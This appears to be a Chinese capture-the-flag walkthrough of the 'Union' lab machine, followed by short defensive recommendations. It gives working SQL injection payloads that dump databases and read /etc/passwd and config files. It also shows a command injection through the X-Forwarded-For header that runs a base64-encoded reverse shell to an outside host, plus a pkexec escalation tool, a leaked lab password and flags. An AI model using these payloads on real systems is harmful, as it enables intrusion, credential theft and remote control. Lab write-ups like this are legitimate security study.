[Meachines] [Medium] Union UHC+SQLI文件读取+TRP00F+命令注入+sudo权限提升
字数 1275 2025-08-29 08:29:41
Union UHC 渗透测试实战教学文档
1. 信息收集阶段
1.1 目标识别
- 目标IP:
10.10.11.128 - 使用命令检查目标是否在线:
ip='10.10.11.128'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
1.2 端口扫描
- 使用masscan进行快速端口扫描:
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
- 发现开放端口:
80/tcp - 服务识别:
nginx 1.18.0 (Ubuntu)
2. Web应用渗透
2.1 SQL注入漏洞利用
- 目标URL:
http://10.10.11.128/challenge.php - 注入参数:
player
2.1.1 基础注入测试
player=' union select 9;--+-
2.1.2 数据库信息收集
- 获取所有数据库名:
player=' union select group_concat(schema_name) from information_schema.schemata;--+-
- 获取特定数据库表名(november):
player=' union select group_concat(table_name) from information_schema.columns where table_schema='november';--+-
2.1.3 数据提取
- 从flag表获取flag:
player=' union select group_concat(one) from november.flag;--+-
-
获取结果:
UHC{F1rst_5tep_2_Qualify} -
获取players表内容:
player=' union select group_concat(player) from november.players;--+-
- 结果:
ippsec,celesian,big0us,luska,tinyboy
2.1.4 文件读取利用
- 读取/etc/passwd:
player=' union select load_file('/etc/passwd');--+-
- 读取Web配置文件:
player=' union select load_file('/var/www/html/index.php');--+-
player=' union select load_file('/var/www/html/config.php');--+-
- 获取数据库凭据:
username:uhc,password:uhc-11qual-global-pw
3. 权限提升
3.1 TRP00F工具利用
- 项目地址:
https://github.com/MartinxMax/trp00f - 使用命令:
python3 trp00f.py --lhost 10.10.16.33 --lport 10000 --rhost 10.10.16.33 --rport 10032 --http 9999
- 选择利用pkexec漏洞:
y
3.2 命令注入漏洞
- 目标URL:
http://10.10.11.128/firewall.php - 利用X-Forwarded-For头进行命令注入:
curl -X GET "http://10.10.11.128/firewall.php" \
-H "X-Forwarded-For: 1.1.1.1;echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMzLzQ0MyAwPiYx|base64 -d |bash;"
- Base64解码后命令:
/bin/bash -i >& /dev/tcp/10.10.16.33/443 0>&1
3.3 Sudo权限提升
- 获取root权限:
sudo su
4. Flag获取
- User flag:
1618310a48daa65a153e7ca160f99720 - Root flag:
c6c82ef44b36fad95d3711546e31d86a
5. 技术要点总结
-
SQL注入:
- 使用UNION SELECT进行数据提取
- 利用load_file函数读取系统文件
- 通过information_schema获取数据库结构信息
-
命令注入:
- 利用HTTP头(X-Forwarded-For)注入命令
- Base64编码绕过过滤
- 反弹shell建立
-
权限提升:
- 利用TRP00F工具进行本地提权
- 通过sudo su获取root权限
-
工具使用:
- nmap/masscan用于端口扫描
- curl用于HTTP请求和漏洞利用
- trp00f用于提权
6. 防御建议
-
SQL注入防御:
- 使用参数化查询
- 实施输入验证和过滤
- 最小化数据库用户权限
-
命令注入防御:
- 严格验证所有用户输入
- 避免在代码中使用系统命令
- 使用白名单验证输入
-
权限管理:
- 遵循最小权限原则
- 定期审计sudo权限
- 及时更新系统补丁
-
文件权限:
- 限制Web服务器用户权限
- 保护配置文件不被读取
- 禁用不必要的PHP函数(如load_file)